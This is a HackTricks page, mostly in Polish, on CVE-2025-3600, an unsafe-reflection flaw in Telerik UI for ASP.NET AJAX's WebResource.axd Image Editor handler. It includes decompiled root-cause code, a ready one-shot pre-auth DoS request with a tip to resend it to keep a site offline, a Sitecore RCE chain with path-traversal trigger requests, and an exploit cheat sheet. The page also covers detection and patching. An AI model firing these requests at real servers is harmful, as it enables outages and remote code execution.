Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)

Reading time: 7 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Pre‑auth wywołanie konstruktora w handlerze pamięci podręcznej Image Editor Telerik UI for ASP.NET AJAX umożliwia uniwersalny DoS i, w wielu aplikacjach, pre‑auth RCE przez podatne na cel gadgety (CVE-2025-3600).

TL;DR

  • Affected component/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). Exposed pre‑auth in many products.
  • Mechanizm: Atakujący kontroluje nazwę typu (prtype). Handler rozwiązuje ją za pomocą Type.GetType() i wywołuje Activator.CreateInstance() zanim zweryfikuje zgodność z interfejsem (type-safety). Każdy publiczny, bezparametrowy konstruktor typu .NET zostanie uruchomiony.
  • Impact:
  • Universal pre‑auth DoS with a .NET framework gadget (PowerShell WSMan finalizer).
  • Often elevates to pre‑auth RCE in real deployments by abusing app‑specific gadgets, especially insecure AppDomain.AssemblyResolve handlers.
  • Fix: Update to Telerik UI for ASP.NET AJAX 2025.1.416+ or remove/lock the handler.

Affected versions

  • Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) are vulnerable.
  • Fixed in 2025.1.416 (released 2025-04-30). Patch immediately or remove/lock down the handler.

Affected surface and quick discovery

  • Check exposure:
  • GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 if the handler is wired.
  • Inspect web.config for handlers mapping to Telerik.Web.UI.WebResource.axd.
  • Trigger path for the vulnerable code-path requires: type=iec, dkey=1, and prtype=.

Przykładowe sondowanie i ogólny trigger:

http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly

Notatki

  • Niektóre PoCs używają dtype; implementacja sprawdza dkey=="1" dla przepływu pobierania.
  • prtype musi być assembly-qualified lub rozwiązywalny w bieżącym AppDomain.

Główna przyczyna – niebezpieczna refleksja w ImageEditorCacheHandler

Przepływ pobierania cache Image Editora tworzy instancję typu dostarczonego w prtype i dopiero później rzutuje ją na ICacheImageProvider oraz weryfikuje klucz pobierania. Konstruktor został już uruchomiony, gdy weryfikacja nie powiodła się.

Istotny zdekompilowany przepływ
csharp
// entrypoint
public void ProcessRequest(HttpContext context)
{
string text = context.Request["dkey"];           // dkey
string text2 = context.Request.Form["encryptedDownloadKey"]; // download key
...
if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1"
{
ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here
string key = context.Request["key"];
if (text == "1" && !this.IsValidDownloadKey(text2))
{
this.CompleteAsBadRequest(context.ApplicationInstance);
return; // cast/check happens after ctor has already run
}
using (EditableImage editableImage = imageProvider.Retrieve(key))
{
this.SendImage(editableImage, context, text, fileName);
}
}
}

private ICacheImageProvider GetImageProvider(HttpContext context)
{
if (!string.IsNullOrEmpty(context.Request["prtype"]))
{
return RadImageEditor.InitCacheImageProvider(
RadImageEditor.GetICacheImageProviderType(context.Request["prtype"]) // [A]
);
}
...
}

public static Type GetICacheImageProviderType(string imageProviderTypeName)
{
return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ?
typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B]
}

protected internal static ICacheImageProvider InitCacheImageProvider(Type t)
{
// unsafe: construct before enforcing interface type-safety
return (ICacheImageProvider)Activator.CreateInstance(t); // [C]
}

Exploit primitive: Kontrolowany string reprezentujący typ → Type.GetType go rozwiązuje → Activator.CreateInstance uruchamia jego publiczny konstruktor bez parametrów. Nawet jeśli żądanie zostanie później odrzucone, skutki uboczne gadgetu już wystąpiły.

Uniwersalny DoS gadget (no app-specific gadgets required)

Klasa: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper w System.Management.Automation (PowerShell) ma finalizer, który wywołuje Dispose() na niezainicjalizowanym uchwycie, powodując nieobsłużony wyjątek podczas finalizacji przez GC. To niezawodnie powoduje awarię procesu roboczego IIS wkrótce po utworzeniu.

One‑shot DoS request:

http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Notatki

  • Wysyłaj okresowo, żeby utrzymać serwis offline. Możesz zaobserwować wywołanie konstruktora w debuggerze; awaria następuje przy finalizacji.

Od DoS do RCE – wzorce eskalacji

Niebezpieczne wykonanie konstruktora odblokowuje wiele specyficznych dla celu gadgetów i łańcuchów. Szukaj:

  1. Parameterless constructors that process attacker input
  • Niektóre ctors (lub static initializers) natychmiast odczytują Request query/body/cookies/headers i (de)serializują je.
  • Example (Sitecore): a ctor chain reaches GetLayoutDefinition() which reads HTTP body "layout" and deserializes JSON via JSON.NET.
  1. Constructors that touch files
  • Ctros that load or deserialize config/blobs from disk can be coerced if you can write to those paths (uploads/temp/data folders).
  1. Constructors performing app-specific ops
  • Resetting state, toggling modules, or terminating processes.
  1. Constructors/static ctors that register AppDomain event handlers
  • Wiele aplikacji dodaje AppDomain.CurrentDomain.AssemblyResolve handlers, które budują ścieżki DLL z args.Name bez sanitizacji. Jeśli możesz wpłynąć na rozwiązywanie typów, możesz wymusić dowolne ładowanie DLL ze ścieżek kontrolowanych przez atakującego.
  1. Forcing AssemblyResolve via Type.GetType
  • Zażądaj nieistniejącego typu, aby wymusić rozwiązywanie przez CLR i wywołać zarejestrowane (możliwie niebezpieczne) resolvery. Example assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
  1. Finalizery z destrukcyjnymi skutkami ubocznymi
  • Niektóre typy usuwają pliki o stałej ścieżce w finalizerach. W połączeniu z podążaniem za linkami lub przewidywalnymi ścieżkami może to umożliwić local privilege escalation w niektórych środowiskach.

Przykładowy pre‑auth RCE chain (Sitecore XP)

  • Krok 1 – Pre‑auth: Wywołaj typ, którego static/instance ctor rejestruje niebezpieczny AssemblyResolve handler (np. Sitecore’s FolderControlSource in ControlFactory).
  • Krok 2 – Post‑auth: Uzyskaj zapis do katalogu sprawdzanego przez resolver (np. przez auth bypass lub weak upload) i podłóż złośliwy DLL.
  • Krok 3 – Pre‑auth: Wykorzystaj CVE‑2025‑3600 z nieistniejącym typem i nazwą assembly zawierającą traversal, aby zmusić resolver do załadowania podłożonego DLL → wykonanie kodu jako IIS worker.

Przykłady wyzwalaczy

http
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

Weryfikacja, hunting i DFIR — notatki

  • Safe lab validation: Fire the DoS payload and watch for app pool recycle/unhandled exception tied to the WSMan finalizer.
  • Hunt in telemetry:
  • Requests to /Telerik.Web.UI.WebResource.axd with type=iec and odd prtype values.
  • Failed type loads and AppDomain.AssemblyResolve events.
  • Sudden w3wp.exe crashes/recycles following such requests.

Mitigation

  • Zainstaluj poprawkę dla Telerik UI for ASP.NET AJAX 2025.1.416 lub nowszej.
  • Usuń lub ogranicz ekspozycję Telerik.Web.UI.WebResource.axd tam, gdzie to możliwe (WAF/rewrites).
  • Ignore or harden prtype handling server-side (aktualizacja stosuje właściwe sprawdzenia przed instancjonowaniem).
  • Przeaudytuj i wzmocnij niestandardowe handlery AppDomain.AssemblyResolve. Unikaj budowania ścieżek z args.Name bez sanitizacji; preferuj ładowanie assembly o silnym podpisie (strong-named) lub białe listy.
  • Ogranicz lokalizacje uploadu/zapisu i zapobiegaj upuszczaniu DLL do katalogów przeszukiwanych przez mechanizm ładowania.
  • Monitoruj próby ładowania nieistniejących typów, aby wykryć nadużycia resolvera.

Cheat‑sheet

  • Presence check:
  • GET /Telerik.Web.UI.WebResource.axd
  • Poszukaj mapowania handlera w web.config
  • Exploit skeleton:
http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
  • Universal DoS:
http
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
  • Wyzwalacz resolvera:
This.Class.Does.Not.Exist, watchTowr

Powiązane techniki

  • IIS post-exploitation, .NET key extraction i in‑memory loaders:

IIS - Internet Information Services

  • ASP.NET ViewState deserialization i machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

Odniesienia

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks